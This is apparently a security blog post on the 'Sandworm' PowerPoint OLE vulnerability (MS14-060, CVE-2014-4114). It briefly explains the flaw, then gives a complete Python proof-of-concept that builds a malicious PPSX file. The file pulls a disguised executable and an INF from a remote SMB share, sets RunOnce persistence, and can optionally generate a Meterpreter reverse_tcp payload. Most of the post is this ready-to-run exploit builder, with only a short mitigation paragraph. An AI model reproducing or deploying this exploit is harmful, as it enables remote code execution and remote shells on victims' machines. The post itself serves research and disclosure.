Security Sift
This recent exploit (dubbed “Sandworm”) took advantage of a vulnerability in which a specially crafted OLE object could allow remote code execution. In the case of the live sample exploit PPSX file I examined, it automatically downloaded the payload from a remote SMB share. I won’t rehash much of the details that others have covered but if you want to read more, here are some resources:
- Microsoft Security Bulletin: https://technet.microsoft.com/en-us/library/security/ms14-060.aspx
- Original Discovery by iSightPartners: http://www.isightpartners.com/2014/10/cve-2014-4114/Other
- Good write-up on D.UIJN.NL: http://d.uijn.nl/
I downloaded a live exploit example from the following:
Again, others have explained how it works in detail, but I’ll cover it briefly here.
First, the PPSX file contains two binary OLE object binary files (oleObject1.bin and oleObject2.bin) that (thanks to the vulnerability) are able to define content to retrieve from a remote share.
Each is responsible for downloading one of the following two files:
- A malicious executable, posing as a GIF (slide1.gif).
- An INF file (slides.inf) that, when retrieved and executed, will rename the retrieved GIF to EXE.
The INF file would look something like this:
[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Microsoft%
DriverVer=06/21/2006,6.1.7600.16385
[DestinationDirs]
DefaultDestDir = 1
[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart
[RxRename]
slide1.exe, slide1.gif
[RxStart]
HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slide1.exe
After examining the PPSX file, I generated a python script to re-create the exploit. The script creates the INF file along with a blank PPSX file, that when launched, will automatically call back to an SMB share hosted on a remote IP (as defined by the user) and retrieve the INF and GIF (EXE) files to trigger the exploit. It also provides the option to create a meterpreter reverse TCP executable to use as the payload (or you can use a payload of your choosing).
The created blank PPSX file can be modified to add content if you choose. The script utilizes python-pptx to create the blank PPTX file that it then modifies with the exploit and converts to a PPSX file. You can obtain python-pptx from here: http://python-pptx.readthedocs.org/en/latest/user/install.html#install. There is also a Metasploit Module, though I haven’t tried it yet.
Beyond the obvious patching, mitigating controls include host-based AV to detect both the crafted PPSX and the downloaded executable (as always, hit or miss), email AV (in the case of a phishing attempt via attachment), and network level protections (IPS and in this particular example, restricting outbound SMB traffic).
A short video and the POC code follow:
#!/usr/bin/python
import sys, os
import zipfile
import argparse
import subprocess
from shutil import copyfile
from pptx import Presentation
#################################################
############### Args/Usage ###############
#################################################
def get_args():
parser = argparse.ArgumentParser( prog="ms14_060.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''This script will build a blank PowerPoint show (ppsx) file to exploit the
OLE Remote Code Execution vulnerability identified as MS14-060 (CVE-2014-4114)
Simply pass filename of resulting PPSX and IP Address of remote machine hosting the
share. You can add content to the PPSX file after it has been created.
The script will also create the INF file and an optional Meterpreter
reverse_tcp executable with the -m switch. Alternatively, you can host your own exectuble payload.
Host the INF and GIF (EXE) in an SMB share called "share".
Note: Requires python-pptx''')
parser.add_argument("filename", help="Name of resulting PPSX exploit file")
parser.add_argument("ip", help="IP Address of Remote machine hosting the share")
parser.add_argument("-m", "--msf", help="Set if you want to create Meterpreter gif executable. Pass port (uses ip arg)")
args = parser.parse_args()
return args
# write file
def write_file(filename, contents):
f = open(filename, "w")
f.write(contents)
f.close()
# build bin
def build_bin(embed, ip, share, file):
bin = "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # ole header
bin = bin + "\x00" * 16
bin = bin + "\x3E\x00\x03\x00\xFE\xFF\x09\x00"
bin = bin + "\x06\x00\x00\x00\x00\x00\x00\x00"
bin = bin + "\x00\x00\x00\x00\x01\x00\x00\x00"
bin = bin + "\x01\x00\x00\x00\x00\x00\x00\x00"
bin = bin + "\x00\x10\x00\x00\x02\x00\x00\x00"
bin = bin + "\x01\x00\x00\x00\xFE\xFF\xFF\xFF"
bin = bin + "\x00\x00\x00\x00\x00\x00\x00\x00"
bin = bin + "\xFF" * 432
bin = bin + "\xFD\xFF\xFF\xFF\xFE\xFF\xFF\xFF"
bin = bin + "\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF"
bin = bin + "\xFF" * 496
bin = bin + "\x52\x00\x6F\x00\x6F\x00\x74\x00"
bin = bin + "\x20\x00\x45\x00\x6E\x00\x74\x00"
bin = bin + "\x72\x00\x79\x00\x00\x00\x00\x00"
bin = bin + "\x00" * 40
bin = bin + "\x16\x00\x05\x00\xFF\xFF\xFF\xFF"
bin = bin + "\xFF\xFF\xFF\xFF\x01\x00\x00\x00"
bin = bin + "\x02\x26\x02\x00\x00\x00\x00\x00"
bin = bin + "\xC0\x00\x00\x00\x00\x00\x00\x46"
bin = bin + "\x00" * 12
bin = bin + "\xF0\x75\xFD\x41\x63\xB2\xCF\x01"
bin = bin + "\x03\x00\x00\x00\x40\x00\x00\x00"
bin = bin + "\x00\x00\x00\x00\x01\x00\x4F\x00"
bin = bin + "\x4C\x00\x45\x00\x31\x00\x30\x00"
bin = bin + "\x4E\x00\x61\x00\x74\x00\x69\x00"
bin = bin + "\x76\x00\x65\x00\x00\x00\x00\x00"
bin = bin + "\x00" * 36
bin = bin + "\x1A\x00\x02\x01"
bin = bin + "\xFF" * 12
bin = bin + "\x00" * 40
bin = bin + "\x37"
bin = bin + "\x00" * 75
bin = bin + "\xFF" * 12
bin = bin + "\x00" * 116
bin = bin + "\xFF" * 12
bin = bin + "\x00" * 48
bin = bin + "\xFE"
bin = bin + "\xFF" * 511
bin = bin + "\x33\x00\x00\x00" + embed + "\x00" # 3 EmbeddedStgX.txt
bin = bin + "\x5C\x5C" + ip + "\x5C" + share + "\x5C" + file # \\ip\share\file
bin = bin + "\x00" * 460
return bin
def build_vml():
xml = '<xml xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:p="urn:schemas-microsoft-com:office:powerpoint" xmlns:oa="urn:schemas-microsoft-com:office:activation">'
xml = xml + '<o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">'
xml = xml + '<v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/>'
xml = xml + '<v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas>'
xml = xml + '<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_s1026" type="#_x0000_t75" style="position:absolute; left:100pt;top:-100pt;width:30pt;height:30pt"><v:imagedata o:relid="rId1" o:title=""/></v:shape><v:shape id="_x0000_s1027" type="#_x0000_t75" style="position:absolute; left:150pt;top:-100pt;width:30pt;height:30pt">'
xml = xml + '<v:imagedata o:relid="rId2" o:title=""/></v:shape></xml>'
return xml
def build_xml_rels(ole1, ole2):
xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml = xml + '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole1 + '"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole2 + '"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target="../drawings/vmlDrawing1.vml"/></Relationships>'
return xml
def build_xml_slide1():
xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml = xml + '<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:cSld><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="4" name="Object 3"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1270000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1026" name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="5" name="Object 4"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1905000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1027" name="Packager Shell Object" r:id="rId4" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr><p:transition><p:zoom/></p:transition><p:timing><p:tnLst><p:par><p:cTn id="1" dur="indefinite" restart="never" nodeType="tmRoot"><p:childTnLst><p:seq concurrent="1" nextAc="seek"><p:cTn id="2" dur="indefinite" nodeType="mainSeq"><p:childTnLst><p:par><p:cTn id="3" fill="hold"><p:stCondLst><p:cond delay="indefinite"/><p:cond evt="onBegin" delay="0"><p:tn val="2"/></p:cond></p:stCondLst><p:childTnLst><p:par><p:cTn id="4" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="5" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="withEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="6" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="7" fill="hold"><p:stCondLst><p:cond delay="1000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="8" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="9" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="-3"><p:cBhvr><p:cTn id="10" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="11" fill="hold"><p:stCondLst><p:cond delay="2000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="12" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="13" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="3"><p:cBhvr><p:cTn id="14" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn><p:prevCondLst><p:cond evt="onPrev" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:prevCondLst><p:nextCondLst><p:cond evt="onNext" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:nextCondLst></p:seq></p:childTnLst></p:cTn></p:par></p:tnLst></p:timing></p:sld>'
return xml
def build_xml_content_types():
xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml = xml + '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.presentationml.printerSettings"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="wmf" ContentType="image/x-wmf"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/embeddings/oleObject1.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/ppt/embeddings/oleObject2.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>'
return xml
def build_inf(gif):
exe = gif.split('.')[0] + '.exe'
inf = '[Version]\n'
inf = inf + 'Signature = "$CHICAGO$"\n'
inf = inf + 'Class=61883\n'
inf = inf + 'ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}\n'
inf = inf + 'Provider=%Microsoft%\n'
inf = inf + 'DriverVer=06/21/2006,6.1.7600.16385\n'
inf = inf + '[DestinationDirs]\n'
inf = inf + 'DefaultDestDir = 1\n'
inf = inf + '[DefaultInstall]\n'
inf = inf + 'RenFiles = RxRename\n'
inf = inf + 'AddReg = RxStart\n'
inf = inf + '[RxRename]\n'
inf = inf + exe + ', ' + gif + '\n'
inf = inf + '[RxStart]\n'
inf = inf + 'HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\' + exe
return inf
def build_presentation(filename):
prs = Presentation()
slide_layout = prs.slide_layouts[6] # blank slide
slide = prs.slides.add_slide(slide_layout)
prs.save(filename)
return
def build_msfpayload(ip, port, file):
cmd = 'msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s' % (ip, port, file)
run_cmd= subprocess.check_output(cmd, shell=True)
subprocess.call(run_cmd, shell=True)
print '[*] Meterpreter Reverse TCP EXE [%s] created.' % (file)
#################################################
############### Main ###############
#################################################
def main():
print
print '============================================================================='
print '| PowerPoint OLE Remote Code Execution (MS14-060 | CVE-2014-4114) |'
print '| Author: Mike Czumak (T_v3rn1x) - @SecuritySift |'
print '=============================================================================\n'
args = get_args() # get the cl args
ip = args.ip
share = "share"
ole1 = "oleObject1.bin"
ole2 = "oleObject2.bin"
vml = "vmlDrawing1.vml"
pptx = "tmp.pptx"
gif = "slide1.gif"
inf = "slides.inf"
# build meterpreter reverse tcp gif file (optional)
if args.msf:
print "[i] Building metasploit reverse_tcp executable"
build_msfpayload(args.ip, args.msf, gif)
# build the bin, inf and vml files
gif_bin = build_bin("EmbeddedStg1.txt", ip, share, gif)
inf_bin = build_bin("EmbeddedStg2.txt", ip, share, inf)
draw_vml = build_vml()
rem_inf = build_inf(gif)
write_file(inf, rem_inf)
print ("[*] INF file [%s] created " % inf)
# build the xml files
xml_rel = build_xml_rels(ole1, ole2)
xml_slide1 = build_xml_slide1()
xml_content = build_xml_content_types()
# build blank temp pptx presentation to convert to ppsx
build_presentation(pptx)
zippptx = pptx + ".zip"
os.rename(pptx, zippptx) # rename to zip for modification
# open temp pptx and a copy for modification
zin = zipfile.ZipFile(zippptx, 'r')
zippptx_copy = "copy_" + zippptx
zout = zipfile.ZipFile(zippptx_copy, "w")
# modify the pptx template with exploit
for item in zin.infolist():
if (item.filename == "ppt/slides/slide1.xml"):
zout.writestr(item, xml_slide1) # replace slide 1 contents
elif (item.filename == "ppt/slides/_rels/slide1.xml.rels"):
zout.writestr(item, xml_rel) # replace slide 1 rels
elif (item.filename == "[Content_Types].xml"):
zout.writestr(item, xml_content) # replace content_types
else:
buffer = zin.read(item.filename)
zout.writestr(item,buffer) # use existing file
zout.writestr("ppt/embeddings/" + ole1, gif_bin)
zout.writestr("ppt/embeddings/"+ole2, inf_bin)
zout.writestr("ppt/drawings/vmlDrawing1.vml", draw_vml)
zout.close()
zin.close()
# convert to ppsx
os.rename(zippptx_copy, args.filename)
os.remove(zippptx)
print ("[*] Exploit PPSX file [%s] created" % (args.filename))
print ("[i] Place INF and GIF (EXE) payload file (called %s) in an SMB share called 'share'" % (gif))
print
if __name__ == '__main__':
main()
